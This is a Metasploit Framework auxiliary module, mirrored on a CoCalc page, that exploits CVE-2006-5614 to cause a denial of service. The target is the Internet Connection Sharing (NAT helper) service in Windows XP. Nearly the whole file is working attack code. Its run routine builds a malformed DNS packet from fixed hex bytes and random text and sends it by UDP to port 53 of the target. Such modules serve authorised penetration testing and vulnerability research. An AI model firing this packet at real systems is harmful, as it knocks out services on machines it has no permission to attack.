CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/nat/nat_helper.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Microsoft Windows NAT Helper Denial of Service',
13
'Description' => %q{
14
This module exploits a denial of service vulnerability
15
within the Internet Connection Sharing service in
16
Windows XP.
17
},
18
'Author' => [ 'MC' ],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'OSVDB', '30096'],
23
[ 'BID', '20804' ],
24
[ 'CVE', '2006-5614' ],
25
],
26
'DisclosureDate' => '2006-10-26'))
27
28
register_options([Opt::RPORT(53),])
29
end
30
31
def run
32
connect_udp
33
34
pkt = "\x6c\xb6\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
35
pkt << "\x03" + Rex::Text.rand_text_english(3) + "\x06"
36
pkt << Rex::Text.rand_text_english(10) + "\x03"
37
pkt << Rex::Text.rand_text_english(3)
38
pkt << "\x00\x00\x01\x00\x01"
39
40
print_status("Sending dos packet...")
41
42
udp_sock.put(pkt)
43
44
disconnect_udp
45
end
46
end
47
48